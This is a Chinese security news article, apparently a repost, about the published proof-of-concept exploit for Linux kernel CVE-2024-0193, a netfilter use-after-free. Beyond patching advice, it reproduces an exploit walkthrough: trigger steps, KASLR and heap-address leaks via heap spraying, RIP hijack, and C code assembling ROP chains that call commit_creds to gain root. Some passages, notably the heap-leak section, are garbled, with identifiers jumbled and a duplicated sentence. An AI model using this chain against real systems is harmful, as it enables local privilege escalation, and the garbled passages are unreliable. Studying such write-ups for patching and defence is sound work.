Linux 内核权限提升漏洞 (CVE-2024-0193) 的 PoC 漏洞利用已发布

admin 2024年7月2日07:58:54评论6 views字数 7346阅读24分29秒阅读模式

Linux 内核权限提升漏洞 (CVE-2024-0193) 的 PoC 漏洞利用已发布

一名安全研究人员发布了针对Linux 内核中高危漏洞( CVE-2024-0193 ) 的概念验证 (PoC) 漏洞代码。netfilter 子系统中的这个释放后使用漏洞在 CVSS 评分中为7.8,可被本地攻击者利用来提升权限并执行任意代码,可能导致灾难性的内核崩溃。

Netfilter 是 Linux 内核中的核心框架,负责各种网络操作,包括数据包过滤和网络地址转换 (NAT)。CVE-2024-0193 的发现揭示了该子系统中的一个严重漏洞。经过身份验证的攻击者可以发送特制的请求来利用此漏洞,无需最初提升权限即可获得提升的访问级别。

Red Hat发布安全公告2024 年 1 月 2 日,揭示了威胁的技术细节。当“pipapo”集被删除时,“catchall”元素进行垃圾收集时,就会出现漏洞。这种情况导致元素被停用两次,从而触发释放后使用问题。受影响的元素可能是 NFT_CHAIN 对象或 NFT_OBJECT 对象。

具有 CAP_NET_ADMIN 权限的本地用户尤其容易受到攻击,因为他们可以利用此漏洞提升系统权限。后果十分严重:未经授权的访问、对系统进程的控制系统以及潜在的系统崩溃都是可能的结果。

技术细节和PoC 漏洞CVE-2024-0193 的漏洞已在 Github 上发布,安全专业人员和潜在恶意行为者可以了解和利用此漏洞。此公开发布强调了管理员解决此漏洞的紧迫性。

https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2024-0193_cos/exploit/cos-105-17412.226.52

敦促系统管理员应用各自 Linux 发行版发布的补丁和更新。Red Hat、Debian、SUSE 和 Ubuntu 都提供了建议和补丁来降低风险。确保系统保持最新状态对于防止潜在漏洞至关重要。

CVE-2024-0193触发漏洞

如果在移除 pipapo 集时对 catchall 元素进行 gc,则该元素可能会被停用两次。

当删除一个集合时,nft_map_deactivate会调用来停用集合元素的数据 。

static int nft_delset(const struct nft_ctx *ctx, struct nft_set *set){    int err;    err = nft_trans_set_add(ctx, NFT_MSG_DELSET, set);    if (err < 0)        return err;    if (set->flags & (NFT_SET_MAP | NFT_SET_OBJECT))        nft_map_deactivate(ctx, set);                       // [1]    nft_deactivate_next(ctx->net, set);    nft_use_dec(&ctx->table->use);    return err;}

然后nft_set_commit_update在中调用nf_tables_commit,并调用pipapo集的commit函数。

static void nft_set_commit_update(struct list_head *set_update_list){    struct nft_set *set, *next;    list_for_each_entry_safe(set, next, set_update_list, pending_update) {        list_del_init(&set->pending_update);        if (!set->ops->commit)            continue;        set->ops->commit(set);          // [2]    }}

在 中nft_pipapo_commit,nft_trans_gc_catchall_sync被调用,并且nft_setelem_data_deactivate针对过期元素调用 

struct nft_trans_gc *nft_trans_gc_catchall_sync(struct nft_trans_gc *gc){    struct nft_set_elem_catchall *catchall, *next;    const struct nft_set *set = gc->set;    struct nft_set_elem elem;    struct nft_set_ext *ext;    WARN_ON_ONCE(!lockdep_commit_lock_is_held(gc->net));    list_for_each_entry_safe(catchall, next, &set->catchall_list, list) {        ext = nft_set_elem_ext(set, catchall->elem);        if (!nft_set_elem_expired(ext))            continue;        gc = nft_trans_gc_queue_sync(gc, GFP_KERNEL);        if (!gc)            return NULL;        memset(&elem, 0, sizeof(elem));        elem.priv = catchall->elem;        nft_setelem_data_deactivate(gc->net, gc->set, &elem);       // [3]        nft_setelem_catchall_destroy(catchall);        nft_trans_gc_elem_add(gc, elem.priv);    }    return gc;}

nft_map_deactivate通过调用 [1]中的来停用此元素nft_delset,因此数据停用完成了两次。

我们可以按如下方式触发该漏洞:

  • 創建一條鏈Victim。

  • 創建一個pipapo集Vulnerable。

  • 创建一个集合元素,其中Vulnerable包含引用的判决数据Victim。我们将元素的超时设置为 1。

  • 制定一些规则来延迟。

  • 删除Vulnerable。这会导致Victim引用计数为 -1。

KASLR绕过

KASLR 地址通过 泄露chain->name,该地址存储在立即数 expr( nft_immediate_expr.data.verdict) 的判定数据中。泄露过程如下:

  • 创建两个链,Base和Victim。将Victim的名称设置为 9-16 个字节长,以便可以将其分配到kmalloc-cg-16。

  • Base在其中创建一个引用的立即数表达式Victim。

  • 創建一個pipapo集Vulnerable。

  • 创建一个集合元素,其中Vulnerable包含引用的判决数据Victim。我们将元素的超时设置为 1。

  • 通过删除 来触发漏洞Vulnerable。这会导致 的Victim引用计数为 0。

  • 廢除Victim。

  • 喷射 last exprs( struct nft_expr) 将其放置在Victim的 处chain->name。此时 last expr( struct nft_expr) 的大小为 16 字节,因此 last exprs 分配在 中kmalloc-cg-16。

  • Base我们dump出using命令的立即数expr GETRULE,通过释放出来的值可以得到最后一个expr的操作数地址,chain->name从而得到内核基址。

int nft_verdict_dump(struct sk_buff *skb, int type, const struct nft_verdict *v){    struct nlattr *nest;    nest = nla_nest_start_noflag(skb, type);    if (!nest)        goto nla_put_failure;    if (nla_put_be32(skb, NFTA_VERDICT_CODE, htonl(v->code)))        goto nla_put_failure;    switch (v->code) {    case NFT_JUMP:    case NFT_GOTO:        if (nla_put_string(skb, NFTA_VERDICT_CHAIN,                    v->chain->name))  // [4]            goto nla_put_failure;    }    nla_nest_end(skb, nest);    return 0;nla_put_failure:    return -1;}

堆地址泄漏

我们泄漏堆地址的方式与泄漏内核基址的方式相同。为了泄漏堆地址,我们喷射了nft_rule而不是 counter expr。我们将 放置nft_rule在 freed 中Victim并nft_chain->name 转储 的规则 Base。因此,我们可以nft_rule->list通过 的Victim读取存储在 中的堆地址。我们将nft_chain->name 的地址和 的地址通过创建 放入中。可以通过在 中添加多个 来调整的大小。由于使用字符串类型的数据进行泄漏,我们重复整个利用过程,直到堆地址不包含 null。kmalloc-cg-96list->nextkmalloc-cg-192list->prevnft_rulesnft_rulenft_exprsnft_rule

RIP 控制

我们用nft_chain->blob_gen_0 它来控制 RIP。在函数 nft_chain->blob_gen_0 中评估数据包时会用到。nft_do_chain

nft_do_chain(struct nft_pktinfo *pkt, void *priv){    ...do_chain:    if (genbit)        blob = rcu_dereference(chain->blob_gen_1);    else        blob = rcu_dereference(chain->blob_gen_0);  // [5]    rule = (struct nft_rule_dp *)blob->data;    last_rule = (void *)blob->data + blob->size;next_rule:    regs.verdict.code = NFT_CONTINUE;    for (; rule < last_rule; rule = nft_rule_next(rule)) {        nft_rule_dp_for_each_expr(expr, last, rule) {            if (expr->ops == &nft_cmp_fast_ops)                nft_cmp_fast_eval(expr, &regs);            else if (expr->ops == &nft_cmp16_fast_ops)                nft_cmp16_fast_eval(expr, &regs);            else if (expr->ops == &nft_bitwise_fast_ops)                nft_bitwise_fast_eval(expr, &regs);            else if (expr->ops != &nft_payload_fast_ops ||                    !nft_payload_fast_eval(expr, &regs, pkt))                expr_call_ops_eval(expr, &regs, pkt);            if (regs.verdict.code != NFT_CONTINUE)                break;        }    ...

为此,我们分配chain->blob_gen_0kmalloc-cg-32触发漏洞。chain->blob_gen_0在创建新链时分配nf_tables_chain_alloc_rules。在创建新链时chain->blob_gen_0 分配。nf_tables_chain_alloc_rules

static int nf_tables_addchain(struct nft_ctx *ctx, u8 family, u8 genmask,            u8 policy, u32 flags,            struct netlink_ext_ack *extack){    ...  data_size = offsetof(struct nft_rule_dp, data);  /* last rule */  blob = nf_tables_chain_alloc_rules(data_size);      // [6]  if (!blob) {    err = -ENOMEM;    goto err_destroy_chain;  }

使用的大小kvmalloc为 32,allocsizeof(struct nft_rule *)sizeof(struct nft_rules_old)(1 * 8 + 24),该blob对象分配在kmalloc-cg-32。

static struct nft_rule **nf_tables_chain_alloc_rules(const struct nft_chain *chain,                 unsigned int alloc){  if (alloc > INT_MAX)    return NULL;  alloc += 1;  /* NULL, ends rules */  if (sizeof(struct nft_rule *) > INT_MAX / alloc)    return NULL;  alloc *= sizeof(struct nft_rule *);  alloc += sizeof(struct nft_rules_old);  return kvmalloc(alloc, GFP_KERNEL);         // [7]}

然后,我们对 进行喷射udatastruct nft_table并将其放置在 freed 中blob_gen_0。最后,在发送数据包时,引用喷射的假操作地址,从而实现 RIP 控制 

static void expr_call_ops_eval(const struct nft_expr *expr,                    struct nft_regs *regs,                    struct nft_pktinfo *pkt){#ifdef CONFIG_RETPOLINE    unsigned long e = (unsigned long)expr->ops->eval;#define X(e, fun)     do { if ((e) == (unsigned long)(fun))         return fun(expr, regs, pkt); } while (0)  // [8]    X(e, nft_payload_eval);    X(e, nft_cmp_eval);    X(e, nft_counter_eval);    X(e, nft_meta_get_eval);    X(e, nft_lookup_eval);    X(e, nft_range_eval);    X(e, nft_immediate_eval);    X(e, nft_byteorder_eval);    X(e, nft_dynset_eval);    X(e, nft_rt_get_eval);    X(e, nft_bitwise_eval);#undef  X#endif /* CONFIG_RETPOLINE */    expr->ops->eval(expr, regs, pkt);}

RIP POST

将下面的 ROP 有效载荷存储到上面泄露的kmalloc-cg-96kmalloc-cg-192地址中,并执行它。在堆喷射期间创建规则时,的 ROP 有效载荷kmalloc-cg-192存储在。在释放堆喷射中使用的规则后,通过喷射存储nft_rule->data的 ROP 有效载荷。kmalloc-cg-96nft_table->udata

void make_payload2(uint64_t* data){    int i = 0;    // find_task_by_vpid(1)    data[i++] = kbase + pop_rdi_ret;    data[i++] = 1;    data[i++] = kbase + find_task_by_vpid_off;    // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)    data[i++] = kbase + mov_rdi_rax_ret;    data[i++] = 0;    data[i++] = kbase + pop_rsi_ret;    data[i++] = kbase + init_nsproxy_off;    data[i++] = kbase + switch_task_namespaces_off;    data[i++] = kbase + swapgs_restore_regs_and_return_to_usermode_off;    data[i++] = 0;                  // rax    data[i++] = 0;                  // rdx    data[i++] = _user_rip;          // user_rip    data[i++] = _user_cs;           // user_cs    data[i++] = _user_rflags;       // user_rflags    data[i++] = _user_sp;           // user_sp    data[i++] = _user_ss;           // user_ss}void make_payload(uint64_t* data){    int i = 0;    data[i++] = kbase + push_rbx_pop_rsp;    data[i++] = kbase + pop_r12_pop_r13_ret;    data[i++] = 0xffff | ((unsigned long) 0x8 << 44);    data[i++] = heap_addr2;    // commit_creds(&init_cred)    data[i++] = kbase + pop_rdi_ret;    data[i++] = kbase + init_cred_off;    data[i++] = kbase + commit_creds_off;    data[i++] = kbase + pop_rdi_ret;    data[i++] = 0;    data[i++] = kbase + pop_rsp_ret;    data[i++] = heap_addr1+0x20;}
https://securityonline.info/poc-exploit-published-for-linux-kernel-privilege-escalation-flaw-cve-2024-0193/https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2024-0193_cos/docs/exploit.md

原文始发于微信公众号(Ots安全):Linux 内核权限提升漏洞 (CVE-2024-0193) 的 PoC 漏洞利用已发布

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月2日07:58:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux 内核权限提升漏洞 (CVE-2024-0193) 的 PoC 漏洞利用已发布https://cn-sec.com/archives/2905069.html

发表评论

匿名网友 填写信息